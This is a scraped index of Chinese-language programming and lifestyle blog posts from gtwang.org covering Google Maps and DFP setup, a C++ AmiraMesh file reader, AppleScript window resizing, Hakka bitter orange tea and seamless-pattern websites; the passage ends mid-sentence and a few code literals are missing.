地圖會自動依據包含地圖的元素大小來繪製地圖。\n地圖選項 建立地圖時，都會需要至指定地圖中心（center）與縮放層級（zoom）這兩個參數。\nvar mapOptions = { center: new google.maps.LatLng(-34.397, 150.644), zoom: 8 }; 地圖中心的經緯度可以使用下面三種方式來指定：\ncenter: new google.maps.LatLng(-34.397, 150.644) center: {lat: -34.397, lng: 150.644} center: {lng: 150.644, lat: -34.397} 縮放層級的數值越小，顯示的範圍越大，當設為 0 時，則會顯示最大的範圍（世界地圖）。\n地圖物件 Google 的地圖是以 Map 這個類別來代表的，一個 Map 物件代表一個地圖。\nvar map = new google.maps.Map( document.getElementById(\u0026#34;map-canvas\u0026#34;), mapOptions); 您可以在一個網頁中同時產生多的 Map 物件，建立多個地圖。\n在建立 Map 物件時，要連同 container 一起指定，這裡我們是使用 document.getElementById() 來取得作為 container 的 \u0026lt;div\u0026gt; 元素。\n載入地圖 為了確保地圖會在網頁載入之後才進行繪製，避免一些不可預期的問題，我們在 onload 事件發生之後才執行繪製地圖的 JavaScript 程式：\ngoogle.maps.event.addDomListener(window, \u0026#39;load\u0026#39;, initialize); 您也可以直接寫在 \u0026lt;body\u0026gt; 標籤的 onload 屬性中：\n\u0026lt;body onload=\u0026#34;initialize()\u0026#34;\u0026gt; 參考資料 Google Developers ","permalink":"https://blog.gtwang.org/programming/getting-started-google-maps-javascript-api/","summary":"\u003cp\u003e這裡透過簡單的 Hello, World 範例，介紹 Google Maps JavaScript API 的基本使用方式。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://developers.google.com/maps/documentation/javascript/?hl=zh-tw\"\u003eGoogle Maps JavaScript API\u003c/a\u003e 是設計給網頁開發者所使使用的開發工具，您可以使用這個 API 將 Google 地圖安插在自己的網頁中，並且將自己的資料放在地圖上面呈現。\u003c/p\u003e","title":"Google Maps JavaScript API 入門使用教學與範例"},{"content":"這紀錄從 Google Developers Console 取得開發者用的 API 金鑰的流程。\nGoogle 提供了各式各樣的服務，幾乎每一種服務都有提供一個以上的 API 讓開發者使用，這些 API 常常與 ajax、javascript、xml 或 json 等技術結合，除了自行開發程式之外，部分的 API 還有附帶一些輔助性的服務，讓使用者透過簡單的設定即可使用這些 API 功能。\n在使用 Google 的 API 之前，開發者必須先從 Google Developers Console 取得 API 的金鑰，有了金鑰之後才能使用 API 進行開發，金鑰的取得與使用都是免費的，不過在使用上有配額（quota）的限制，若使用量太大的話，就必須要購買付費的 API 了，一般正常來說，開發與測試時是不會超過他的配額限制的，大概要相當有規模的網站才需要擔心這個問題。\n以下是取得 API 金鑰的流程。\nStep 1\n開啟 Google Developers Console 的網頁，點選「建立專案」。\nStep 2\n輸入專案名稱與專案 ID，名稱可以自己任意取，ID 的話就不可以跟既有的重複。填好之後按下「建立」。\nStep 3\n建立好專案之後，會進入專案的總覽頁面，點選左邊選單的「API 和驗證」。\nStep 4\n在「驗證」頁面中，點選「建立新的金鑰」。\nStep 5\n選擇金鑰的類型，這裡就依照您的專案屬性來選擇，一般網頁的話，就選擇「瀏覽器金鑰」，行動裝置就依照平台來選擇。這裡我們以「瀏覽器金鑰」做示範。\nStep 6\n輸入允許使用的網址，這可以避免他人濫用自己的金鑰，如果不填就是不做任何限制。\nStep 7\n在「API 金鑰」欄位所顯示的一長串字串就是產生好的金鑰。\n","permalink":"https://blog.gtwang.org/programming/obtaining-api-key-from-google-developers-console/","summary":"\u003cp\u003e這紀錄從 Google Developers Console 取得開發者用的 API 金鑰的流程。\u003c/p\u003e\n\u003cp\u003eGoogle 提供了各式各樣的服務，幾乎每一種服務都有提供一個以上的 API 讓開發者使用，這些 API 常常與 ajax、javascript、xml 或 json 等技術結合，除了自行開發程式之外，部分的 API 還有附帶一些輔助性的服務，讓使用者透過簡單的設定即可使用這些 API 功能。\u003c/p\u003e","title":"從 Google Developers Console 取得開發者用的 API 金鑰"},{"content":"這裡介紹一個產生 CSS 置中程式碼的線上工具，讓您輕鬆排版網頁元素。\n有設計網頁的人應該都遇過需要置中排版的狀況，如果您對於 CSS 的使用方式不夠熟悉，通常要置中排版一個元素，都會被它搞得七葷八素的，因為雖然看起來很簡單的動作，但是用 CSS 寫起來卻不是那麼單純。\nHow to Center in CSS 是一個線上小工具，它可以幫助您產生置中排版用的 CSS 程式碼，讓您可以節省許多排版上的時間。\n名稱：How to Center in CSS\n網址：http://howtocenterincss.com/\nGitHub：https://github.com/oliverzheng/howtocenterincss\nStep 1\n在 How to Center in CSS 網頁上依照自己的需求，選擇各種排版的選項，例如元素大小、版面大小、水平與垂直的對齊等等。\n如果不是固定大小的版面或是元素，大小就直接選擇 Unknown 即可。\nStep 2\n填好各種選項之後，按下「Generate Code」，就會產生適用於該元素的 HTML 與 CSS 程式碼了。\n產生的程式碼會類似這樣：\n\u0026lt;div style=\u0026#34;display:table-cell;vertical-align:middle;width:100%;\u0026#34;\u0026gt; \u0026lt;div style=\u0026#34;margin-left:auto;margin-right:auto;\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 最後將這段程式碼複製到自己的網頁上，再加上自己要放置的元素就完成了。如果您是 CSS 的新手，我相信這個工具會非常有用！\n","permalink":"https://blog.gtwang.org/web-development/how-to-center-in-css/","summary":"\u003cp\u003e這裡介紹一個產生 CSS 置中程式碼的線上工具，讓您輕鬆排版網頁元素。\u003c/p\u003e\n\u003cp\u003e有設計網頁的人應該都遇過需要置中排版的狀況，如果您對於 CSS 的使用方式不夠熟悉，通常要置中排版一個元素，都會被它搞得七葷八素的，因為雖然看起來很簡單的動作，但是用 CSS 寫起來卻不是那麼單純。\u003c/p\u003e","title":"產生 CSS 置中程式碼，輕鬆排版網頁元素"},{"content":"這裡示範如何使用 Google DFP 來刊登廣告，突破 AdSense 最多只能放三個廣告的限制。\n許多的網站都會放置一些廣告，透過廣告收益來維持網站的運作，甚至用這樣的模式把網站當作一個事業來經營，而 Google 的 AdSense 是目前最熱門的網路廣告商，一般網站上的廣告大多數都是藉由 AdSense 來刊登的。\nAdSense 的廣告刊登政策中明確規定了各種廣告刊登數量限制，一個網頁中最多只能放置三個廣告單元、三個連結單元和兩個搜尋框，一般的網站最主要都會使用大面積的廣告單元，正常來說三個廣告是足夠的，但是對於某些內容特別豐富的網站而言，一個頁面非常的長，其實放置超過三個廣告也不會對讀者有太大的影響，但受限於 AdSense 的規定，最後也是無可奈何。\n後來 Google 花了 31 億買下了 DoubleClick，推出了 DFP 這個廣告管理系統，使用者可以透過 DFP 刊登與管理自己的廣告，或是播放 AdSense 或是其他聯播網的廣告，而在選擇播放的廣告時，DFP 會讓 Google AdSense 與其他廣告聯播網競爭以提高發佈者的收益，也就是說 DFP 會挑選收益最好的廣告優先播放，理論上這樣會比一般直接放 AdSense 廣告更好。\n因為 AdSense 的廣告數量在計算時是跟 DFP 分開的，所以我們可以使用 AdSense 放三個廣告單元，剩下的部分就用 DFP，許多網站就是以這樣的方式播放三個以上的大面積廣告單元，當然您必須仔細衡量自己的網頁內容與排版是否適合放置那麼多的廣告，過多的廣告容易讓整個版面雜亂無章，這一點是在放置廣告之前要審慎考慮的。\n不過 DFP 只負責放送廣告，不負責付款的動作，所有的款項都是由廣告客戶或廣告聯播網（如 AdSense）直接付款。\n以下是使用 DFP 服務在網站上放置廣告的流程。\nStep 1\n若要在自己的網站上刊登廣告，首先在 DFP 的「廣告空間」中，選擇「新增廣告單元」。\nStep 2\n輸入廣告相關資訊，「程式碼」的部分就自己用英文取一個容易辨識的代碼即可，剩下的欄位大概大家都看得懂，我就不解釋了。\nStep 3\n在 AdSense 廣告空間設定的部分，記得要啟用，或是勾選「利用 AdSense 盡量提高未售出及剩餘廣告空間的收益」，這樣就可以讓 DFP 播放 AdSense 的廣告。\nStep 4\n新增完廣告單元之後，再新增一個刊登位置，點選「新增刊登位置」。\n刊登位置的意義其實就跟 AdSense 的頻道一樣，讓廣告業主可以知道廣告的刊登位置。\nStep 5\n填寫刊登位置的基本資料，並選擇這個位置所包含的廣告單元。\nStep 6\n填寫 AdWords 用的資訊，這裡要填寫的資料跟 AdSense 的頻道幾乎一樣，反正按照您的廣告所放置的位置填寫即可。\n填完則按下儲存。\nStep 7\n開啟剛剛上面新增的廣告單元，點選右上方的「產生廣告代碼」。\nStep 8\n選擇「Google 發佈商廣告代碼」。\nStep 9\n調整代碼選項，如果不清楚這些是做什麼用的，其實用預設值就可以了。\nStep 10\n將產生的 HTML 程式碼貼在自己的網頁中。\n這所產生的 HTML 程式碼有兩段，第一段是放在 \u0026lt;head\u0026gt; 與 \u0026lt;/head\u0026gt; 之間：\n\u0026lt;script type=\u0026#39;text/javascript\u0026#39;\u0026gt; var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; (function() { var gads = document.createElement(\u0026#39;script\u0026#39;); gads.async = true; gads.type = \u0026#39;text/javascript\u0026#39;; var useSSL = \u0026#39;https:\u0026#39; == document.location.protocol; gads.src = (useSSL ? \u0026#39;https:\u0026#39; : \u0026#39;http:\u0026#39;) + \u0026#39;//www.googletagservices.com/tag/js/gpt.js\u0026#39;; var node = document.getElementsByTagName(\u0026#39;script\u0026#39;)[]; node.parentNode.insertBefore(gads, node); })(); \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#39;text/javascript\u0026#39;\u0026gt; googletag.cmd.push(function() { googletag.defineSlot(\u0026#39;/54009424/gtwang-post-bottom-1\u0026#39;, [336, 280], \u0026#39;div-gpt-ad-1432171343962-0\u0026#39;).addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices(); }); \u0026lt;/script\u0026gt; 而第二段則是放在要顯示廣告的位置：\n\u0026lt;!-- /54009424/gtwang-post-bottom-1 --\u0026gt; \u0026lt;div id=\u0026#39;div-gpt-ad-1432171343962-0\u0026#39; style=\u0026#39;height:280px; width:336px;\u0026#39;\u0026gt; \u0026lt;script type=\u0026#39;text/javascript\u0026#39;\u0026gt; googletag.cmd.push(function() { googletag.display(\u0026#39;div-gpt-ad-1432171343962-0\u0026#39;); }); \u0026lt;/script\u0026gt; \u0026lt;/div\u0026gt; 將 HTML 程式碼貼好之後就完成了，不過通常剛剛新增的廣告單元放上網頁時，並不會馬上顯示出來，我是大約等了好幾分鐘之後，才看到廣告正常出現在網頁上。\n","permalink":"https://blog.gtwang.org/web-development/google-dfp-inventory-adsense/","summary":"\u003cp\u003e這裡示範如何使用 Google DFP 來刊登廣告，突破 AdSense 最多只能放三個廣告的限制。\u003c/p\u003e\n\u003cp\u003e許多的網站都會放置一些廣告，透過廣告收益來維持網站的運作，甚至用這樣的模式把網站當作一個事業來經營，而 Google 的 AdSense 是目前最熱門的網路廣告商，一般網站上的廣告大多數都是藉由 AdSense 來刊登的。\u003c/p\u003e","title":"使用 Google DFP 刊登廣告，解決 AdSense 廣告數量上限問題"},{"content":"AmiraMesh 是 Amira 原生的檔案格式，學術版的 Amira 是由 ZIB 所發展的，商業版的則有 Visage Imaging 與 VSG。\nAmiraMesh 的檔案內容可以分為檔頭（header）與資料（data）兩部分，檔頭部分都是以 ASCII 的編碼來儲存，其中包含許多的 meta 資訊，而資料的部分則有 ASCII 與二進位（binary）兩種，這裡我們示範讀取二進位資料的方式。\n這是一個 AmiraMesh 格式的範例檔案：\n# AmiraMesh BINARY-LITTLE-ENDIAN 2.1 define Lattice 4 6 8 Parameters { BoundingBox -1 0 0 1 -0.5 0.5, CoordType \u0026#34;uniform\u0026#34; } Lattice { float[2] Data } @1 # Data section follows @1 [二進位資料] # AmiraMesh BINARY-LITTLE-ENDIAN 2.1：AmiraMesh 檔案檔頭，標示這個檔案的資料格式為 little-endian 的二進位檔案。 define Lattice 4 6 8：指定 x, y, z 方向的資料點數。 BoundingBox -1 0 0 1 -0.5 0.5：定義 bounding box。 Lattice { float[2] Data } @1：定義 @1 資料中每一點的資料型態。 @1：在資料區塊中的每一筆資料都會有一個編號，編號 @1 的資料從這裡開始，以下是二進位的資料內容。 這裡的二進位資料是以下面這些規則來儲存的：\nLittle-endian：目前一般 PC 的記憶體都是使用 little-endian 格式在儲存資料的，所以我們可以直接將資料讀進記憶體，不需要另外轉換，如果是 big-endian 的伺服器，就要加上轉換的動作。 x-fastest：若要以迴圈的方式存取整個 grid，則 x 軸的迴圈在最內層，z 軸在最外層。 Interleaved components：在每一個資料點當中，如果有超過一個以上的數值，則依序存取，例如 (u0, v0, w0), (u0, v0, w0), ...，也就是說不同變量會交錯儲存。 以下是 C++ 語言的實作。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;assert.h\u0026gt; /** Find a string in the given buffer and return a pointer to the contents directly behind the SearchString. If not found, return the buffer. A subsequent sscanf() will fail then, but at least we return a decent pointer. */ const char* FindAndJump(const char* buffer, const char* SearchString) { const char* FoundLoc = strstr(buffer, SearchString); if (FoundLoc) return FoundLoc + strlen(SearchString); return buffer; } /** A simple routine to read an AmiraMesh file that defines a scalar/vector field on a uniform grid. */ int main() { const char* FileName = \u0026#34;testscalar.am\u0026#34;; //const char* FileName = \u0026#34;testvector2c.am\u0026#34;; //const char* FileName = \u0026#34;testvector3c.am\u0026#34;; FILE* fp = fopen(FileName, \u0026#34;rb\u0026#34;); if (!fp) { printf(\u0026#34;Could not find %s\\n\u0026#34;, FileName); return 1; } printf(\u0026#34;Reading %s\\n\u0026#34;, FileName); //We read the first 2k bytes into memory to parse the header. //The fixed buffer size looks a bit like a hack, and it is one, but it gets the job done. char buffer[2048]; fread(buffer, sizeof(char), 2047, fp); buffer[2047] = \u0026#39;\\0\u0026#39;; //The following string routines prefer null-terminated strings if (!strstr(buffer, \u0026#34;# AmiraMesh BINARY-LITTLE-ENDIAN 2.1\u0026#34;)) { printf(\u0026#34;Not a proper AmiraMesh file.\\n\u0026#34;); fclose(fp); return 1; } //Find the Lattice definition, i.e., the dimensions of the uniform grid int xDim(0), yDim(0), zDim(0); sscanf(FindAndJump(buffer, \u0026#34;define Lattice\u0026#34;), \u0026#34;%d %d %d\u0026#34;, \u0026amp;xDim, \u0026amp;yDim, \u0026amp;zDim); printf(\u0026#34;\\tGrid Dimensions: %d %d %d\\n\u0026#34;, xDim, yDim, zDim); //Find the BoundingBox float xmin(1.0f), ymin(1.0f), zmin(1.0f); float xmax(-1.0f), ymax(-1.0f), zmax(-1.0f); sscanf(FindAndJump(buffer, \u0026#34;BoundingBox\u0026#34;), \u0026#34;%g %g %g %g %g %g\u0026#34;, \u0026amp;xmin, \u0026amp;xmax, \u0026amp;ymin, \u0026amp;ymax, \u0026amp;zmin, \u0026amp;zmax); printf(\u0026#34;\\tBoundingBox in x-Direction: [%g ... %g]\\n\u0026#34;, xmin, xmax); printf(\u0026#34;\\tBoundingBox in y-Direction: [%g ... %g]\\n\u0026#34;, ymin, ymax); printf(\u0026#34;\\tBoundingBox in z-Direction: [%g ... %g]\\n\u0026#34;, zmin, zmax); //Is it a uniform grid? We need this only for the sanity check below. const bool bIsUniform = (strstr(buffer, \u0026#34;CoordType \\\u0026#34;uniform\\\u0026#34;\u0026#34;) != NULL); printf(\u0026#34;\\tGridType: %s\\n\u0026#34;, bIsUniform ? \u0026#34;uniform\u0026#34; : \u0026#34;UNKNOWN\u0026#34;); //Type of the field: scalar, vector int NumComponents(0); if (strstr(buffer, \u0026#34;Lattice { float Data }\u0026#34;)) { //Scalar field NumComponents = 1; } else { //A field with more than one component, i.e., a vector field sscanf(FindAndJump(buffer, \u0026#34;Lattice { float[\u0026#34;), \u0026#34;%d\u0026#34;, \u0026amp;NumComponents); } printf(\u0026#34;\\tNumber of Components: %d\\n\u0026#34;, NumComponents); //Sanity check if (xDim \u0026lt;= 0 || yDim \u0026lt;= 0 || zDim \u0026lt;= 0 || xmin \u0026gt; xmax || ymin \u0026gt; ymax || zmin \u0026gt; zmax || !bIsUniform || NumComponents \u0026lt;= 0) { printf(\u0026#34;Something went wrong\\n\u0026#34;); fclose(fp); return 1; } //Find the beginning of the data section const long idxStartData = strstr(buffer, \u0026#34;# Data section follows\u0026#34;) - buffer; if (idxStartData \u0026gt; 0) { //Set the file pointer to the beginning of \u0026#34;# Data section follows\u0026#34; fseek(fp, idxStartData, SEEK_SET); //Consume this line, which is \u0026#34;# Data section follows\u0026#34; fgets(buffer, 2047, fp); //Consume the next line, which is \u0026#34;@1\u0026#34; fgets(buffer, 2047, fp); //Read the data // - how much to read const size_t NumToRead = xDim * yDim * zDim * NumComponents; // - prepare memory; use malloc() if you\u0026#39;re using pure C float* pData = new float[NumToRead]; if (pData) { // - do it const size_t ActRead = fread((void*)pData, sizeof(float), NumToRead, fp); // - ok? if (NumToRead != ActRead) { printf(\u0026#34;Something went wrong while reading the binary data section.\\nPremature end of file?\\n\u0026#34;); delete[] pData; fclose(fp); return 1; } //Test: Print all data values //Note: Data runs x-fastest, i.e., the loop over the x-axis is the innermost printf(\u0026#34;\\nPrinting all values in the same order in which they are in memory:\\n\u0026#34;); int Idx(0); for(int k=0;k\u0026lt;zDim;k++) { for(int j=0;j\u0026lt;yDim;j++) { for(int i=0;i\u0026lt;xDim;i++) { //Note: Random access to the value (of the first component) of the grid point (i,j,k): // pData[((k * yDim + j) * xDim + i) * NumComponents] assert(pData[((k * yDim + j) * xDim + i) * NumComponents] == pData[Idx * NumComponents]); for(int c=0;c\u0026lt;NumComponents;c++) { printf(\u0026#34;%g \u0026#34;, pData[Idx * NumComponents + c]); } printf(\u0026#34;\\n\u0026#34;); Idx++; } } } delete[] pData; } } fclose(fp); return 0; } 參考資料 weinkauf ","permalink":"https://blog.gtwang.org/programming/read-amiramesh-file-format-using-c/","summary":"\u003cp\u003eAmiraMesh 是 \u003ca href=\"https://amira.zib.de/\"\u003eAmira\u003c/a\u003e 原生的檔案格式，學術版的 Amira 是由 \u003ca href=\"https://www.zib.de/\"\u003eZIB\u003c/a\u003e 所發展的，商業版的則有 \u003ca href=\"https://www.visageimaging.com/\"\u003eVisage Imaging\u003c/a\u003e 與 VSG。\u003c/p\u003e\n\u003cp\u003eAmiraMesh 的檔案內容可以分為檔頭（header）與資料（data）兩部分，檔頭部分都是以 ASCII 的編碼來儲存，其中包含許多的 meta 資訊，而資料的部分則有 ASCII 與二進位（binary）兩種，這裡我們示範讀取二進位資料的方式。\u003c/p\u003e","title":"使用 C 語言讀取 AmiraMesh 檔案內容，解析 Scalar 與 Vector Fields"},{"content":"這是朋友送我的酸柑茶，第一次收到這樣特別禮物，拍個照片紀錄一下。\n這個酸柑茶算是客家莊的名產，有很濃的陳皮香味，直接聞起來真的很香，這種茶對於氣管很有幫助，對咳嗽、化痰、解熱都有功效。\n它是將虎頭柑（拜拜用的，很難吃的那種）挖空後並填入茶葉，經過長時間放置風乾後製成的，由於製作過程需要很長的時間，而且需要很好的技術，如果技術不好的話很容易發霉，所以他的價格都比較高，我收到這一顆酸柑茶一般市價大概都在兩千以上，不過我看網路上的資料，這種茶的製作方式似乎有好幾種，價格也不一。\n由於經過長期的風乾過程，它已經是極度乾燥的狀態，可以保存很久，而要拿來泡的時候，因為它實在太硬了，一般的刀子都沒辦法切，通常都是要使用鐵鎚來敲碎後，才能沖泡。\n在沖泡時，最好要用剛煮沸的滾水，一般開飲機的熱水溫度可能會不太夠，因為它非常乾燥，要夠熱的水才比較好沖開它的味道。\n這是底部的樣子。\n這是農業知識入口網的資料：\n提到緊壓茶，大多數人想到的一定是普洱茶，這種保留了唐宋時期「蒸而成團」形制的茶品，包括七子餅圓茶、茶磚、緊茶、沱茶等，在全球受喜愛的程度與日俱增，連帶也使得千兩茶、湖南茯磚等黑茶水漲船高；甚至連福建的武夷山，名滿天下的大紅袍都曾推出機器壓磨的大紅袍鐵餅上市。\n其實臺灣也早有緊壓茶的製作，源自客家人愛物惜物的天性所出，那就是近年以養生保健為主要功能的「酸柑茶」，堪稱是臺灣特有且唯一的「緊壓茶」了。話說每年農曆春節期間，臺灣許多民眾都喜歡買幾個比一般椪柑足足大上一號的「虎頭柑」回家拜拜。整粒看起來彷彿巨無霸般的虎頭柑，由於皮厚、水分多，加上橙紅紅的外表，看起來充滿過節的喜氣，尤其還可以在供桌上持續放上一個月而不變壞，因此作為敬神祭祖並討個吉利好運，相當受到一般民眾的青睞。\n不過，虎頭柑與食用為主的桶柑或椪柑不同，果肉奇酸無比，一般除了害喜的少婦外，根本沒人能嚥得下去，明顯地「中看不中吃」。因此只要春節一過，因水份消失而萎縮硬化的虎頭柑，十之八九會被無情地當作垃圾棄置。不過勤儉惜物的客家先民卻不捨如此浪費，反而將製茶過程中淘汰下來的「茶角」塞入，製成有如黑茶類普洱茶外觀的酸柑茶，不僅可以「化腐朽為神奇」地放個5年、10年以上，敲碎後沖泡飲用，不僅溫潤爽口，茶香與柑香融合的微酸口感令人回味再三，據說對咳嗽、化痰、解熱都有功效。\n這就是早在百多年前，客家先民傳承至今的「酸柑茶」。在過去物質尚不充裕的年代，幾乎是桃竹苗一帶客家鄉親家家戶戶必備的保健聖品。只是隨著國民所得的提高，以及成藥的普及，而逐漸被遺忘罷了。所幸隨著國民所得的不斷提高，以及無毒、有機、養生等觀念的普及，近年來民眾除了追求安全、衛生的茶品外，標榜養生或保健的茶品近年也逐漸風行，使得客家先民留下的寶貴資產酸柑茶又恢復了產製。\n例如苗栗縣頭份日新茶園的許時穩，從小就耳濡目染酸柑茶的製法，加上每逢咳嗽不止時，母親就會泡上一杯酸柑茶的童年溫馨記憶，因而矢志將先民留下的智慧結晶繼續承傳，不僅早在多年前成立全臺唯一的酸柑茶產銷班，還四處求教客籍製茶老師傅與中醫，在茶葉中加入紫蘇、薄荷、甘草，使得新一代的酸柑茶更具有保健效果。尤其透過電視紛紛報導後，酸柑茶更成了今日最具鄉土魅力的天然養生飲料。\n許時穩表示，虎頭柑烘乾以後的皮就是古籍所說的「陳皮」，根據中醫的說法，陳皮對咳嗽、化痰等原本就有功效，再加進紫酥等香草類植物更能強化效果。至於虎頭柑挑選與採摘的時間，也大有學問：最好在果實七、八分熟時採下，先在室內擱上幾天，待柑皮呈現些許乾癟與軟化現象後，再進行製作。許時穩解釋說，熟透或過於新鮮的果實含水份高，製作時果皮容易破裂。\n不過製作酸柑茶可不容易，第一步是挖果肉；以特製的金屬圓筒在柑橘頂端挖出缺口，保留挖下的柑皮做蓋子，再以杓匙將果肉挖出。仔細濾掉果肉裡的籽，挖出的果肉放進絞碎機絞碎後，再混合以紫酥、薄荷、甘草等攪拌過的茶葉，回填至挖空的柑仔內。此時塞得圓鼓鼓的柑仔，蓋上原本的柑皮後，還得用鐵絲仔細綑綁，再將五花大綁的酸柑茶送進蒸籠：一蒸、一壓、一烤，再蒸、再壓、再烤，每天重覆同樣的動作，天氣好時尚須將酸柑茶拿到陽光下曝曬。\n歷經「九蒸九曬」不斷的蒸、曬、烘、壓，酸柑茶一共9次工序才能完成，總共需費時3個月。許時穩說蒸熟、蒸透的酸柑茶，才經得起長期陳放。渾圓的外觀因不斷乾燥、緊結而縮小變皺，鐵絲也得不斷拆下重新綑綁，直至顏色由紅橙色逐漸轉成金黃、土黃、深褐色到完全變黑為止，其中更以特別訂製的機具多次緊壓，鐵絲才能完全取下，外觀也呈現漂亮的花瓣狀。由於做工紮實，完成後的酸柑茶有如石塊般堅硬，必須以鐵鎚敲碎後，才能置入茶壺以熱開水沖泡；也可以加點冰糖、龍眼乾、菊花等，或與金桔一起沖泡，酸酸甜甜滋味更佳。不過一般人可沒辦法成天拿著鐵鎚猛敲，為了方便愈來愈多的消費者，目前大多數的酸柑茶品，均先以機器磨碎後，製成袋茶再包裝上市，深受都會上班族的歡迎。\n目前桃園縣龍潭與新竹縣關西都有酸柑茶的製作，龍潭福源製茶廠的酸柑茶卻與苗栗頭份有著截然不同的外觀，光滑渾圓且無鐵絲痕，像極了黑褐色的車輪，聞起來又有一股淡淡的茶葉與陳皮清香。主人黃文諒解釋說，一般製作酸柑茶，均使用原本挖下的柑皮做蓋子，為了防止蓋子在蒸烤過程中脫落，當然須以鐵絲綁緊了。\n黃文諒的作法則是捨棄原本挖開的柑皮，另外挑選外觀看來較差的虎頭柑，切下較大的柑皮作蓋子，如此才能塞入已經填滿茶葉的半成品上，讓兩者無須綑綁就能完全密合，之後再將它們一一排好，蓋上層層堆疊的木板，並以重物緊壓成扁圓型。而且每蒸一次就要取下蓋子再加料，因此成品特別飽滿。他笑著說一般酸柑茶是越蒸越小，他的卻是越蒸越大。其他的蒸、烘、烤等工序則大致相同，但成本顯然要高出許多了。\n酸柑茶的製作工序: 1.以特製的金屬圓筒在柑桔頂端開口挖果肉，是製作酸柑茶的第一步。 2.茶葉加上加入紫蘇、薄荷、甘草等攪拌混合，新一代的酸柑茶更具有保健效果。 3.將茶葉再回填至虎頭柑塞滿。 4.將塞滿茶葉的虎頭柑以鐵絲綑綁後放入蒸籠內蒸熟。\n文圖 吳德亮(第63卷14期)\n參考資料 新台灣新聞週刊 自由時報 ","permalink":"https://blog.gtwang.org/life/bitter-orange-tea/","summary":"\u003cp\u003e這是朋友送我的酸柑茶，第一次收到這樣特別禮物，拍個照片紀錄一下。\u003c/p\u003e\n\u003cp\u003e這個酸柑茶算是客家莊的名產，有很濃的陳皮香味，直接聞起來真的很香，這種茶對於氣管很有幫助，對咳嗽、化痰、解熱都有功效。\u003c/p\u003e","title":"客家酸柑茶（Bitter Orange Tea）：臺灣唯一的緊壓茶"},{"content":"這裡介紹如何在 Mac OS X 中，使用 AppleScript 程式精準控制任何應用程式視窗的位置與大小。\n在撰寫一些教學文章時，時常需要擷取螢幕或視窗的畫面，為了讓每張截圖看起來一致，在擷取之前我們都會稍微調整一下視窗的大小，讓每個畫面統一，增加美感。\n在 Mac OS X 上，您可以使用 SizeUp 這類的工具來調整視窗的大小，雖然他很好用，不過缺點是要付費，當然您也可以使用他的試用版，並且忍受煩人的廣告。\n其實如果只是單純的控制視窗位置與大小，我們可以使用 Mac OS X 內建的 AppleScript 撰寫指令稿，只要簡單幾行指令，就可以達成這樣的需求，完全不用花錢，以下是使用 AppleScript 控制視窗位置與大小的教學。\nStep 1\n首先開啟「工序指令編寫程式」。\nStep 2\n輸入下面這一段 AppleScript 指令稿：\ntell application \u0026#34;Safari\u0026#34; activate set the bounds of the first window to {140, , 1600, 900} end tell 這段指令稿的意思應該直接看就可以理解了，第一行選擇要控制的應用程式名稱，這裡我們選擇 Safari 瀏覽器，activate 會讓該應用程式變成選取的狀態，然後設定該應用程式的視窗位置為 (140, 0)，大小為 1600x900 像素。\n貼上程式碼之後，畫面會像這樣：\nStep 3\n按下執行按鈕之後，AppleScript 就會自動調整桌面上 Safari 瀏覽器的視窗位置與大小了。\n當然其他的瀏覽器或是應用程式都可以用這樣的方式調整，例如 Google Chrome 瀏覽器：\ntell application \u0026#34;Google Chrome\u0026#34; activate set the bounds of the first window to {140, , 1600, 900} end tell Firefox 瀏覽器：\ntell application \u0026#34;Firefox\u0026#34; activate set the bounds of the first window to {140, , 1600, 900} end tell 另外，如果想要一次調整一個應用程式的多個視窗，可以這樣寫：\ntell application \u0026#34;Safari\u0026#34; activate set the bounds of the first window to {140, , 1160, 775} try set the bounds of the second window to {150, , 1130, 775} end try end tell 為了避免應用程式只有一個視窗而出錯，這裡在控制第二個視窗時，加上 try，這樣就算應用程式只有單一個視窗也不會出現錯誤。\n參考資料 Ask Different ","permalink":"https://blog.gtwang.org/programming/mac-os-x-applescript-moving-and-resizing-windows/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 中，使用 AppleScript 程式精準控制任何應用程式視窗的位置與大小。\u003c/p\u003e\n\u003cp\u003e在撰寫一些教學文章時，時常需要擷取螢幕或視窗的畫面，為了讓每張截圖看起來一致，在擷取之前我們都會稍微調整一下視窗的大小，讓每個畫面統一，增加美感。\u003c/p\u003e","title":"AppleScript 控制 Mac OS X 應用程式視窗位置與大小"},{"content":"這裡整理了一系列可以免費產生與下載無縫圖案（seamless pattern）的網站，對於網頁的背景設計很有幫助。\n設計網站時所使用的背景圖對於網站的整體視覺效果有非常大的影響，在過去網際網路剛剛發展出來的年代，許多網頁的背景都是使用一般的圖片重複排列，手法粗糙而且反而讓網站更雜亂。\n後來的網站漸漸改用無縫圖案的方式，用很小的圖檔就可以覆蓋很大的面積，並且沒有圖片接縫的問題，網站看起來就專業許多，就像這樣：\n這樣一大張圖其實是由這一小張圖拼貼出來的：\n由於這些圖案是特別設計過的，上下左右的圖案都可以互相連接，不管要拼出多大的範圍，都沒有任何縫隙，而且使用網頁背景的重複拼貼功能，圖檔的大小始終都是固定的，對於網頁載入速度也很有幫助，這就是無縫圖案的優點。\n以下是一些可以免費產生與下載無縫圖案的網站。\nThe Pattern Library The Pattern Library 蒐集了一些大家分享的免費無縫圖案，不過數量並不多。\n名稱：The Pattern Library\n網址：http://thepatternlibrary.com/\nColour Lovers Colour Lovers 網站上有非常大量的免費無縫圖案，而且還可以自訂每個圖案的顏色，選擇很多、功能也非常強大！\n名稱：Colour Lovers\n網址：https://www.colourlovers.com/\nDinPattern DinPattern 蒐集了各式各樣的無縫圖案，提供 jpeg、png 與 gif 檔案格式的圖檔。\n名稱：DinPattern\n網址：https://dinpattern.com/\nPattern Cooler Pattern Cooler 提供數千張的無縫圖案讓使用者免費下載，並且也可以自訂圖案的顏色。\n名稱：Pattern Cooler\n網址：https://patterncooler.com/\nSubtle Patterns Subtle Patterns 專門提供比較細緻的無縫圖案，圖案顏色比較沒有那麼刺眼，讓網站可以感覺更專業。\n名稱：Subtle Patterns\n網址：https://www.toptal.com/designers/subtlepatterns/\nPatternizer Patternizer 也是一個讓使用自行設計無縫圖案的線上工具，不過很特別的是，他不是使用一般的圖檔，而是直接採用 CSS 來畫出無縫圖案的效果，當設計好圖案之後，只要將產生出來的 CSS 